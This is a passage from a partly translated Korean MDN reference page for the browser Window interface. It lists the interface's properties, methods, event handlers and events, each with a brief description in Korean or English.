브라우저 디버깅 콘솔에 접근할 수 있는 콘솔 객체를 반환합니다.
+
{{domxref("Window.controllers")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
현재 크롬 창의 XUL 컨트롤러 객체를 반환합니다.
+
{{domxref("Window.customElements")}} {{ReadOnlyInline}}
+
새로운 사용자 지정 요소를 등록하거나, 이전에 등록한 요소에 대한 정보를 얻을 수 있는 {{domxref("CustomElementRegistry")}} 객체를 반환합니다.
+
{{domxref("Window.crypto")}} {{readOnlyInline}}
+
브라우저 암호화 객체를 반환합니다.
+
{{domxref("Window.devicePixelRatio")}} {{ReadOnlyInline}}
+
현재 화면에서의 물리적 픽셀과 CSS 픽셀의 비율을 반환합니다.
+
{{domxref("Window.document")}} {{ReadOnlyInline}}
+
창이 포함하는 문서로의 참조를 반환합니다.
+
{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.
+
{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.
+
{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.
+
{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.
+
{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}
+
Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.
+
{{domxref("Window.event")}} {{ReadOnlyInline}}
+
Returns the current event, which is the event currently being handled by the JavaScript code's context, or undefined if no event is currently being handled. The {{domxref("Event")}} object passed directly to event handlers should be used instead whenever possible.
+
{{domxref("Window.frameElement")}} {{readOnlyInline}}
+
이 창을 삽입했을 때 사용한 요소를 반환합니다. 창이 문서 내에 삽입된 것이 아니면 {{jsxref("null")}}을 반환합니다.
+
{{domxref("Window.frames")}} {{readOnlyInline}}
+
현재 창의 하위 프레임을 배열로 반환합니다.
+
{{domxref("Window.fullScreen")}}
+
현재 창을 전체 화면으로 보여주고 있는지 나타냅니다.
+
{{domxref("Window.history")}} {{ReadOnlyInline}}
+
Returns a reference to the history object.
+
{{domxref("Window.innerHeight")}} {{readOnlyInline}}
+
Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.
+
{{domxref("Window.innerWidth")}} {{readOnlyInline}}
+
Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.
+
{{domxref("Window.isSecureContext")}} {{experimental_inline}} {{readOnlyInline}}
+
Indicates whether a context is capable of using features that require secure contexts.
+
{{domxref("Window.length")}} {{readOnlyInline}}
+
Returns the number of frames in the window. See also {{domxref("window.frames")}}.
+
{{domxref("Window.location")}}
+
Gets/sets the location, or current URL, of the window object.
+
{{domxref("Window.locationbar")}} {{ReadOnlyInline}}
+
Returns the locationbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.localStorage")}} {{readOnlyInline}}
+
Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.
+
{{domxref("Window.menubar")}} {{ReadOnlyInline}}
+
Returns the menubar object, whose visibility can be toggled in the window.
+
{{domxref("Window.messageManager")}}
+
Returns the message manager object for this window.
+
{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}
+
Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel for a conversion factor to adapt to screen pixels if needed.
+
{{domxref("Window.name")}}
+
Gets/sets the name of the window.
+
{{domxref("Window.navigator")}} {{readOnlyInline}}
+
Returns a reference to the navigator object.
+
{{domxref("Window.opener")}}
+
현재 창을 열었던 다른 창의 참조를 반환합니다.
+
{{domxref("Window.outerHeight")}} {{readOnlyInline}}
+
브라우저 창 외곽 높이를 반환합니다.
+
{{domxref("Window.outerWidth")}} {{readOnlyInline}}
+
브라우저 창 외곽 너비를 반환합니다.
+
{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}
+
An alias for {{domxref("window.scrollX")}}.
+
{{domxref("Window.scrollY","Window.pageYOffset")}} {{readOnlyInline}}
+
An alias for {{domxref("window.scrollY")}}
+
{{domxref("Window.parent")}} {{readOnlyInline}}
+
Returns a reference to the parent of the current window or subframe.
+
{{domxref("Window.performance")}} {{readOnlyInline}}
+
Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing performance-related data. See also Using Navigation Timing for additional information and examples.
+
{{domxref("Window.personalbar")}} {{readOnlyInline}}
+
Returns the personalbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.screen")}} {{readOnlyInline}}
+
Returns a reference to the screen object associated with the window.
+
{{domxref("Window.screenX")}} and {{domxref("Window.screenLeft")}} {{readOnlyInline}}
+
Both properties return the horizontal distance from the left border of the user's browser viewport to the left side of the screen.
+
{{domxref("Window.screenY")}} and {{domxref("Window.screenTop")}} {{readOnlyInline}}
+
Both properties return the vertical distance from the top border of the user's browser viewport to the top side of the screen.
+
{{domxref("Window.scrollbars")}} {{readOnlyInline}}
+
Returns the scrollbars object, whose visibility can be toggled in the window.
+
{{domxref("Window.scrollMaxX")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.
+
{{domxref("Window.scrollMaxY")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).
+
{{domxref("Window.scrollX")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled horizontally.
+
{{domxref("Window.scrollY")}} {{readOnlyInline}}
+
Returns the number of pixels that the document has already been scrolled vertically.
+
{{domxref("Window.self")}} {{ReadOnlyInline}}
+
Returns an object reference to the window object itself.
+
{{domxref("Window.sessionStorage")}}
+
Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.
+
{{domxref("Window.sidebar")}} {{non-standard_inline}} {{ReadOnlyInline}}
+
Returns a reference to the window object of the sidebar.
+
{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}
+
Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using Web Speech API speech synthesis functionality.
+
{{domxref("Window.status")}}
+
Gets/sets the text in the statusbar at the bottom of the browser.
+
{{domxref("Window.statusbar")}} {{readOnlyInline}}
+
Returns the statusbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.toolbar")}} {{readOnlyInline}}
+
Returns the toolbar object, whose visibility can be toggled in the window.
+
{{domxref("Window.top")}} {{readOnlyInline}}
+
Returns a reference to the topmost window in the window hierarchy. This property is read only.
+
{{domxref("Window.visualViewport")}} {{readOnlyInline}}
+
Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.
+
{{domxref("Window.window")}} {{ReadOnlyInline}}
+
Returns a reference to the current window.
+
window[0], window[1], etc.
+
Returns a reference to the window object in the frames. See {{domxref("Window.frames")}} for more details.
+
+ +

Properties implemented from elsewhere

+ +
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Returns a boolean indicating whether the current context is secure (true) or not (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)
+
+ + + +

메서드

+ +

{{domxref("EventTarget")}}의 메서드를 상속하고, {{domxref("WindowOrWorkerGlobalScope")}}와 {{domxref("WindowEventHandlers")}} 믹스인의 메서드를 구현합니다.

+ +
+
{{domxref("Window.alert()")}}
+
경고 대화 상자를 표시합니다.
+
{{domxref("Window.blur()")}}
+
Sets focus away from the window.
+
{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.
+
{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
+
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.
+
{{domxref("Window.clearImmediate()")}}
+
Cancels the repeated execution set using setImmediate.
+
{{domxref("Window.close()")}}
+
Closes the current window.
+
{{domxref("Window.confirm()")}}
+
Displays a dialog with a message that the user needs to respond to.
+
{{domxref("Window.dispatchEvent()")}}
+
Used to trigger an event.
+
{{domxref("Window.dump()")}} {{Non-standard_inline}}
+
Writes a message to the console.
+
{{domxref("Window.find()")}}
+
Searches for a given string in a window.
+
{{domxref("Window.focus()")}}
+
Sets focus on the current window.
+
{{domxref("Window.getComputedStyle()")}}
+
Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.
+
{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}
+
Gets default computed style for the specified element, ignoring author stylesheets.
+
{{domxref("Window.getSelection()")}}
+
Returns the selection object representing the selected item(s).
+
{{domxref("Window.matchMedia()")}}
+
Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.
+
{{domxref("Window.maximize()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.minimize()")}} (top-level XUL windows only)
+
Minimizes the window.
+
{{domxref("Window.moveBy()")}}
+
Moves the current window by a specified amount.
+
{{domxref("Window.moveTo()")}}
+
Moves the window to the specified coordinates.
+
{{domxref("Window.open()")}}
+
Opens a new window.
+
{{domxref("Window.postMessage()")}}
+
Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.
+
{{domxref("Window.print()")}}
+
Opens the Print Dialog to print the current document.
+
{{domxref("Window.prompt()")}}
+
Returns the text entered by the user in a prompt dialog.
+
{{domxref("Window.requestAnimationFrame()")}}
+
Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.
+
{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}
+
Enables the scheduling of tasks during a browser's idle periods.
+
{{domxref("Window.resizeBy()")}}
+
Resizes the current window by a certain amount.
+
{{domxref("Window.resizeTo()")}}
+
Dynamically resizes window.
+
{{domxref("Window.scroll()")}}
+
Scrolls the window to a particular place in the document.
+
{{domxref("Window.scrollBy()")}}
+
Scrolls the document in the window by the given amount.
+
{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}
+
Scrolls the document by the given number of lines.
+
{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}
+
Scrolls the current document by the specified number of pages.
+
{{domxref("Window.scrollTo()")}}
+
Scrolls to a particular set of coordinates in the document.
+
{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)
+
Changes the cursor for the current window
+
{{domxref("Window.setImmediate()")}}
+
Executes a function after the browser has finished other heavy tasks
+
{{domxref("Window.setResizable()")}} {{Non-standard_inline}}
+
Toggles a user's ability to resize a window.
+
{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}
+
Sizes the window according to its content.
+
{{domxref("Window.stop()")}}
+
This method stops window loading.
+
{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}
+
Updates the state of commands of the current chrome window (UI).
+
+ +

Methods implemented from elsewhere

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
Register an event handler to a specific event type on the window.
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Starts the process of fetching a resource from the network.
+
{{domxref("EventTarget.removeEventListener")}}
+
Removes an event listener from the window.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Schedules a function to execute every time a given number of milliseconds elapses.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Schedules a function to execute in a given amount of time.
+
+ + + +

이벤트 처리기

+ +

These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.

+ +

This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.

+ +
+
{{domxref("Window.onappinstalled")}}
+
Called when the page is installed as a webapp. See {{event('appinstalled')}} event.
+
{{domxref("Window.onbeforeinstallprompt")}}
+
An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.
+
{{domxref("Window.ondevicelight")}}
+
An event handler property for any ambient light levels changes
+
{{domxref("Window.ondevicemotion")}}
+
Called if accelerometer detects a change (For mobile devices)
+
{{domxref("Window.ondeviceorientation")}}
+
Called when the orientation is changed (For mobile devices)
+
{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}}
+
An event handler property for any device orientation changes.
+
{{domxref("Window.ondeviceproximity")}}
+
An event handler property for device proximity event
+
{{domxref("Window.ongamepadconnected")}}
+
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
+
{{domxref("Window.ongamepaddisconnected")}}
+
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
+
{{domxref("Window.onmozbeforepaint")}}
+
An event handler property for the MozBeforePaint event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.
+
{{domxref("Window.onpaint")}}
+
An event handler property for paint events on the window.
+
{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}
+
An event handler for handled {{jsxref("Promise")}} rejection events.
+
{{domxref("Window.onuserproximity")}}
+
An event handler property for user proximity events.
+
{{domxref("Window.onvrdisplayconnect")}}
+
Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).
+
{{domxref("Window.onvrdisplaydisconnect")}}
+
Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).
+
{{domxref("Window.onvrdisplayactivate")}}
+
Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+
{{domxref("Window.onvrdisplaydeactivate")}}
+
Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+
{{domxref("Window.onvrdisplayblur")}}
+
Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
+
{{domxref("Window.onvrdisplayfocus")}}
+
Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).
+
{{domxref("Window.onvrdisplaypresentchange")}}
+
represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).
+
+ +

Event handlers implemented from elsewhere

+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Called when the print dialog box is closed. See {{event("afterprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Called when the print dialog box is opened. See {{event("beforeprint")}} event.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
An event handler property for before-unload events on the window.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
Called after the window loses focus, such as due to a popup.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
An event handler property for change events on the window.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Called after the ANY mouse button is pressed & released
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Called when a double click is made with ANY mouse button.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Called after the window is closed
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Called when the RIGHT mouse button is pressed
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Called after the window receives or regains focus. See {{event("focus")}} events.
+
{{domxref("WindowEventHandlers.onhashchange")}}
+
An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.
+
{{domxref("GlobalEventHandlers.oninput")}}
+
Called when the value of an <input> element changes
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Called when you begin pressing ANY key. See {{event("keydown")}} event.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
Called when you finish releasing ANY key. See {{event("keyup")}} event.
+
{{domxref("WindowEventHandlers.onlanguagechange")}}
+
An event handler property for {{event("languagechange")}} events on the window.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.
+
{{domxref("WindowEventHandlers.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Called when ANY mouse button is pressed.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Called continously when the mouse is moved inside the window.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Called when the pointer leaves the window.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Called when the pointer enters the window
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Called when ANY mouse button is released
+
{{domxref("WindowEventHandlers.onoffline")}}
+
Called when network connection is lost. See {{event("offline")}} event.
+
{{domxref("WindowEventHandlers.ononline")}}
+
Called when network connection is established. See {{event("online")}} event.
+
{{domxref("WindowEventHandlers.onpagehide")}}
+
Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.
+
{{domxref("WindowEventHandlers.onpageshow")}}
+
Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.
+
{{domxref("WindowEventHandlers.onpopstate")}}
+
Called when a back button is pressed.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Called when a form is reset
+
{{domxref("GlobalEventHandlers.onresize")}}
+
Called continuously as you are resizing the window.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked
+
{{domxref("GlobalEventHandlers.onwheel")}}
+
Called when the mouse wheel is rotated around any axis
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Called after text in an input field is selected
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
+
{{domxref("WindowEventHandlers.onstorage")}}
+
Called when there is a change in session storage or local storage. See {{event("storage")}} event
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Called when a form is submitted
+
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
+
An event handler for unhandled {{jsxref("Promise")}} rejection events.
+
{{domxref("WindowEventHandlers.onunload")}}
+
Called when the user navigates away from the page.
+
+ +

이벤트

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
{{domxref("Window/error_event", "error")}}
+
Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.
+ Also available via the {{domxref("GlobalEventHandlers/onerror", "onerror")}} property.
+
{{domxref("Window/languagechange_event", "languagechange")}}
+
Fired at the global scope object when the user's preferred language changes.
+ Also available via the onlanguagechange property.
+
{{domxref("Window/orientationchange_event", "orientationchange")}}
+
Fired when the orientation of the device has changed.
+ Also available via the onorientationchange property.
+
{{domxref("Window/devicemotion_event", "devicemotion")}}
+
Fired at a regular interval, indicating the amount of physical force of acceleration the device is receiving and the rate of rotation, if available.
+
{{domxref("Window/deviceorientation_event", "deviceorientation")}}
+
Fired when fresh data is available from the magnetometer orientation sensor about the current orientation of the device as compared to the Earth coordinate frame.
+
{{domxref("Document/defaultView/resize_event", "resize")}}
+
Fired when the window has been resized.
+ Also available via the onresize property.
+
{{domxref("Document/defaultView/storage_event", "storage")}}
+
Fired when a storage area (localStorage or sessionStorage) has been modified in the context of another document.
+ Also available via the onstorage property.
+
+ +

Animation events

+ +
+
{{domxref("Window/animationcancel_event", "animationcancel")}}
+
Fired when an animation unexpectedly aborts.
+ Also available via the onanimationcancel property.
+
{{domxref("Window/animationend_event", "animationend")}}
+
Fired when an animation has completed normally.
+ Also available via the onanimationend property.
+
{{domxref("Window/animationiteration_event", "animationiteration")}}
+
Fired when an animation iteration has completed.
+ Also available via the onanimationiteration property.
+
{{domxref("Window/animationstart_event", "animationstart")}}
+
Fired when an animation starts.
+ Also available via the onanimationstart property.
+
+ +

Clipboard events

+ +
+
{{domxref("Window/clipboardchange_event", "clipboardchange")}}
+
Fired when the system clipboard content changes.
+
{{domxref("Window/copy_event", "copy")}}
+
Fired when the user initiates a copy action through the browser's user interface.
+ Also available via the oncopy property.
+
{{domxref("Window/cut_event", "cut")}}
+
Fired when the user initiates a cut action through the browser's user interface.
+ Also available via the oncut property.
+
{{domxref("Window/paste_event", "paste")}}
+
Fired when the user initiates a paste action through the browser's user interface.
+ Also available via the onpaste property.
+
+ +

Connection events

+ +
+
{{domxref("Window/offline_event", "offline")}}
+
Fired when the browser has lost access to the network and the value of navigator.onLine has switched to false.
+ Also available via the {{domxref("WindowEventHandlers.onoffline", "onoffline")}} property.
+
{{domxref("Window/online_event", "online ")}}
+
Fired when the browser has gained access to the network and the value of navigator.onLine has switched to true.
+ Also available via the {{domxref("WindowEventHandlers.ononline", "ononline")}} property.
+
+ +

Focus events

+ +
+
{{domxref("Window/blur_event", "blur")}}
+
Fired when an element has lost focus.
+ Also available via the onblur property.
+
{{domxref("Window/focus_event", "focus")}}
+
Fired when an element has gained focus.
+ Also available via the onfocus property
+
+ +

Gamepad events

+ +
+
{{domxref("Window/gamepadconnected_event", "gamepadconnected")}}
+
Fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.
+ Also available via the ongamepadconnected property.
+
{{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}}
+
Fired when the browser detects that a gamepad has been disconnected.
+ Also available via the ongamepaddisconnected property
+
+ +

History events

+ +
+
{{domxref("Window/hashchange_event", "hashchange")}}
+
Fired when the fragment identifier of the URL has changed (the part of the URL beginning with and following the # symbol).
+ Also available via the onhashchange property.
+
{{domxref("Window/pagehide_event", "pagehide")}}
+
Sent when the browser hides the current document while in the process of switching to displaying in its place a different document from the session's history. This happens, for example, when the user clicks the Back button or when they click the Forward button to move ahead in session history.
+ Also available through the onpagehide event handler property.
+
{{domxref("Window/pageshow_event", "pageshow")}}
+
Sent when the browser makes the document visible due to navigation tasks, including not only when the page is first loaded, but also situations such as the user navigating back to the page after having navigated to another within the same tab.
+ Also available using the onpageshow event handler property.
+
{{domxref("Window/popstate_event", "popstate")}}
+
Fired when the active history entry changes.
+ Also available using the onpopstate event handler property.
+
+ +

Load & unload events

+ +
+
{{domxref("Window/beforeunload_event", "beforeunload")}}
+
Fired when the window, the document and its resources are about to be unloaded.
+ Also available via the {{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}} property.
+
{{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}
+
Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
+
{{domxref("Window/load_event", "load")}}
+
Fired when the whole page has loaded, including all dependent resources such as stylesheets images.
+ Also available via the {{domxref("GlobalEventHandlers/onload", "onload")}} property.
+
{{domxref("Window/unload_event", "unload")}}
+
Fired when the document or a child resource is being unloaded.
+ Also available via the {{domxref("WindowEventHandlers/onunload", "onunload")}} property.
+
+ +

Manifest events

+ +
+
{{domxref("Window/appinstalled_event", "appinstalled")}}
+
Fired when the browser has successfully installed a page as an application.
+ Also available via the {{domxref("Window/onappinstalled", "onappinstalled")}} property.
+
{{domxref("Window/beforeinstallprompt_event", "beforeinstallprompt")}}
+
Fired when a user is about to be prompted to install a web application.
+ Also available via the {{domxref("Window/onbeforeinstallprompt", "onbeforeinstallprompt")}} property.
+
+ +

Messaging events

+ +
+
{{domxref("Window/message_event", "message")}}
+
Fired when the window receives a message, for example from a call to {{domxref("Window/postMessage", "Window.postMessage()")}} from another browsing context.
+ Also available via the {{domxref("WindowEventHandlers/onmessage", "onmessage")}} property.
+
{{domxref("Window/messageerror_event", "messageerror")}}
+
Fired when a Window object receives a message that can't be deserialized.
+ Also available via the {{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}} property.
+
+ + + +
+
{{domxref("Window/afterprint_event", "afterprint")}}
+
Fired after the associated document has started printing or the print preview has been closed.
+ Also available via the {{domxref("WindowEventHandlers/onafterprint", "onafterprint")}} property.
+
{{domxref("Window/beforeprint_event", "beforeprint")}}
+
Fired when the associated document is about to be printed or previewed for printing.
+ Also available via the {{domxref("WindowEventHandlers/onbeforeprint", "onbeforeprint")}} property.
+
+ +

Promise rejection events

+ +
+
{{domxref("Window/rejectionhandled_event", "rejectionhandled")}}
+
Sent every time a JavaScript {{jsxref("Promise")}} is rejected, regardless of whether or not there is a handler in place to catch the rejection.
+ Also available through the onrejectionhandled event handler property.
+
{{domxref("Window/unhandledrejection_event", "unhandledrejection")}}
+
Sent when a JavaScript {{jsxref("Promise")}} is rejected but there is no handler in place to catch the rejection.
+ Also available using the onunhandledrejection event handler property.
+
+ +

Transition events

+ +
+
{{domxref("Window/transitioncancel_event", "transitioncancel")}}
+
Fired when a CSS transition is canceled.
+ Also available via the ontransitioncancel property.
+
{{domxref("Window/transitionend_event", "transitionend")}}
+
Fired when a CSS transition has completed.
+ Also available via the ontransitionend property.
+
{{domxref("Window/transitionrun_event", "transitionrun")}}
+
Fired when a CSS transition is first created.
+ Also available via the ontransitionrun property.
+
{{domxref("Window/transitionstart_event", "transitionstart")}}
+
Fired when a CSS transition has actually started.
+ Also available via the ontransitionstart property.
+
+ +

WebVR events

+ +
+
{{domxref("Window/vrdisplayactivate_event", "vrdisplayactivate")}}
+
Fired when a VR display becomes available to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
+ Also available via the {{domxref("Window/onvrdisplayactivate", "onvrdisplayactivate")}} property.
+
{{domxref("Window/vrdisplayblur_event", "vrdisplayblur")}}
+
Fired when presentation to a VR display has been paused for some reason by the browser, OS, or VR hardware.
+ Also available via the {{domxref("Window/onvrdisplayblur", "onvrdisplayblur")}} property.
+
{{domxref("Window/vrdisplayconnect_event", "vrdisplayconnect")}}
+
Fired when a compatible VR display is connected to the computer.
+ Also available via the {{domxref("Window/onvrdisplayconnect", "onvrdisplayconnect")}} property.
+
{{domxref("Window/vrdisplaydeactivate_event", "vrdisplaydeactivate")}}
+
Fired when a VR display can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
+ Also available via the {{domxref("Window/onvrdisplaydeactivate", "onvrdisplaydeactivate")}} property.
+
{{domxref("Window/vrdisplaydisconnect_event", "vrdisplaydisconnect")}}
+
Fired when a compatible VR display is disconnected from the computer.
+ Also available via the {{domxref("Window/onvrdisplaydisconnect", "onvrdisplaydisconnect")}} property.
+
{{domxref("Window/vrdisplayfocus_event", "vrdisplayfocus")}}
+
Fired when presentation to a VR display has resumed after being blurred.
+ Also available via the {{domxref("Window/onvrdisplayfocus", "onvrdisplayfocus")}} property.
+
{{domxref("Window/vrdisplaypresentchange_event", "vrdisplaypresentchange")}}
+
Fired when the presenting state of a VR display changes — i.e. goes from presenting to not presenting, or vice versa.
+ Also available via the {{domxref("Window/onvrdisplaypresentchange", "onvrdisplaypresentchange")}} property.
+
{{domxref("Window/vrdisplaypointerrestricted_event", "vrdisplaypointerrestricted")}}
+
Fired when the VR display's pointer input is restricted to consumption via a pointerlocked element.
+ Also available via the {{domxref("Window/onvrdisplaypointerrestricted", "onvrdisplaypointerrestricted")}} property.
+
